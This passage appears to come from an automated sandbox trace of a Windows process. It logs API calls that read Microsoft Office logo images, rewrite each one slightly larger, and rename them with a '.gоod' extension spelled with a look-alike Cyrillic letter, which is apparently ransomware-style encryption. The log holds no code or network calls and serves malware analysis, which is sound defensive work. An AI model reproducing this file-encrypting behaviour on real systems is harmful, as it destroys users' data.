files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-white_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x35e3e68 | out: lpFileInformation=0x35e3e68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199947e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x84d)) returned 1 [0213.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0213.782] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x69 [0213.782] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0213.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-white_scale-180.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0213.782] GetFileType (hFile=0x630) returned 0x1 [0213.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0213.782] GetFileType (hFile=0x630) returned 0x1 [0213.782] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x84d [0213.782] ReadFile (in: hFile=0x630, lpBuffer=0x35e4a70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x35e4a70*, lpNumberOfBytesRead=0x1fcee238*=0x84d, lpOverlapped=0x0) returned 1 [0214.055] CloseHandle (hObject=0x630) returned 1 [0214.066] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0214.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-white_scale-180.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0214.067] GetFileType (hFile=0x630) returned 0x1 [0214.068] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0214.068] GetFileType (hFile=0x630) returned 0x1 [0214.068] WriteFile (in: hFile=0x630, lpBuffer=0x3595768*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3595768*, lpNumberOfBytesWritten=0x1fcee148*=0x850, lpOverlapped=0x0) returned 1 [0214.071] CloseHandle (hObject=0x630) returned 1 [0214.071] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x69 [0214.071] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-180.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-180.png.gоod", lpFilePart=0x0) returned 0x6e [0214.071] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0214.071] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-white_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7bd00b88, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x850)) returned 1 [0214.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0214.071] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-white_scale-180.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-180.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-white_scale-180.png.gоod")) returned 1 [0214.072] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x68 [0214.072] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0214.072] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-white_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x3596ad0 | out: lpFileInformation=0x3596ad0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199947e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x561)) returned 1 [0214.073] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0214.073] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x68 [0214.073] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0214.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-white_scale-80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0214.073] GetFileType (hFile=0x630) returned 0x1 [0214.073] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0214.073] GetFileType (hFile=0x630) returned 0x1 [0214.073] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x561 [0214.073] ReadFile (in: hFile=0x630, lpBuffer=0x35973f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x35973f0*, lpNumberOfBytesRead=0x1fcee238*=0x561, lpOverlapped=0x0) returned 1 [0214.075] CloseHandle (hObject=0x630) returned 1 [0214.087] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0214.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-white_scale-80.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0214.088] GetFileType (hFile=0x630) returned 0x1 [0214.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0214.088] GetFileType (hFile=0x630) returned 0x1 [0214.088] WriteFile (in: hFile=0x630, lpBuffer=0x36147b0*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x36147b0*, lpNumberOfBytesWritten=0x1fcee148*=0x570, lpOverlapped=0x0) returned 1 [0214.089] CloseHandle (hObject=0x630) returned 1 [0214.089] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x68 [0214.089] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-80.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-80.png.gоod", lpFilePart=0x0) returned 0x6d [0214.089] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0214.089] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-white_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7bd26d84, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x570)) returned 1 [0214.089] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0214.089] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-white_scale-80.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-80.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-white_scale-80.png.gоod")) returned 1 [0214.090] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-100.png", lpFilePart=0x0) returned 0x5a [0214.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0214.090] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x3615b18 | out: lpFileInformation=0x3615b18*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5d8)) returned 1 [0214.090] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0214.090] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-100.png", lpFilePart=0x0) returned 0x5a [0214.091] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0214.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.scale-100.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0214.091] GetFileType (hFile=0x630) returned 0x1 [0214.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0214.091] GetFileType (hFile=0x630) returned 0x1 [0214.091] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x5d8 [0214.091] ReadFile (in: hFile=0x630, lpBuffer=0x3616428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3616428*, lpNumberOfBytesRead=0x1fcee238*=0x5d8, lpOverlapped=0x0) returned 1 [0214.290] CloseHandle (hObject=0x630) returned 1 [0214.683] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-100.png", lpFilePart=0x0) returned 0x5a [0214.683] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0214.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.scale-100.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0214.685] GetFileType (hFile=0x768) returned 0x1 [0214.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0214.685] GetFileType (hFile=0x768) returned 0x1 [0214.685] WriteFile (in: hFile=0x768, lpBuffer=0x34f7390*, nNumberOfBytesToWrite=0x5e0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x34f7390*, lpNumberOfBytesWritten=0x1fcee148*=0x5e0, lpOverlapped=0x0) returned 1 [0214.686] CloseHandle (hObject=0x768) returned 1 [0214.686] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-100.png", lpFilePart=0x0) returned 0x5a [0214.686] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-100.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-100.png.gоod", lpFilePart=0x0) returned 0x5f [0214.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0214.686] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7c2d0709, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5e0)) returned 1 [0214.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0214.686] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.scale-100.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-100.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.scale-100.png.gоod")) returned 1 [0214.687] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-140.png", lpFilePart=0x0) returned 0x5a [0214.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0214.687] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x34f8698 | out: lpFileInformation=0x34f8698*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x69e)) returned 1 [0214.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0214.687] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-140.png", lpFilePart=0x0) returned 0x5a [0214.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0214.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.scale-140.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0214.687] GetFileType (hFile=0x768) returned 0x1 [0214.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0214.687] GetFileType (hFile=0x768) returned 0x1 [0214.688] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x69e [0214.688] ReadFile (in: hFile=0x768, lpBuffer=0x34f9070, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x34f9070*, lpNumberOfBytesRead=0x1fcee238*=0x69e, lpOverlapped=0x0) returned 1 [0214.689] CloseHandle (hObject=0x768) returned 1 [0215.185] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-140.png", lpFilePart=0x0) returned 0x5a [0215.185] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0215.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.scale-140.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0215.187] GetFileType (hFile=0x808) returned 0x1 [0215.187] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0215.187] GetFileType (hFile=0x808) returned 0x1 [0215.187] WriteFile (in: hFile=0x808, lpBuffer=0x362cf50*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x362cf50*, lpNumberOfBytesWritten=0x1fcee148*=0x6a0, lpOverlapped=0x0) returned 1 [0215.187] CloseHandle (hObject=0x808) returned 1 [0215.188] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-140.png", lpFilePart=0x0) returned 0x5a [0215.188] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-140.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-140.png.gоod", lpFilePart=0x0) returned 0x5f [0215.188] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0215.188] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7c795103, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6a0)) returned 1 [0215.188] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0215.188] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.scale-140.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-140.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.scale-140.png.gоod")) returned 1 [0215.189] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-180.png", lpFilePart=0x0) returned 0x5a [0215.189] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0215.189] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x362e258 | out: lpFileInformation=0x362e258*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x800)) returned 1 [0215.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0215.189] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-180.png", lpFilePart=0x0) returned 0x5a [0215.189] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0215.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.scale-180.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0215.189] GetFileType (hFile=0x808) returned 0x1 [0215.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0215.190] GetFileType (hFile=0x808) returned 0x1 [0215.190] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x800 [0215.190] ReadFile (in: hFile=0x808, lpBuffer=0x362ed90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x362ed90*, lpNumberOfBytesRead=0x1fcee238*=0x800, lpOverlapped=0x0) returned 1 [0215.191] CloseHandle (hObject=0x808) returned 1 [0215.203] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-180.png", lpFilePart=0x0) returned 0x5a [0215.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0215.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.scale-180.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0215.204] GetFileType (hFile=0x808) returned 0x1 [0215.204] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0215.204] GetFileType 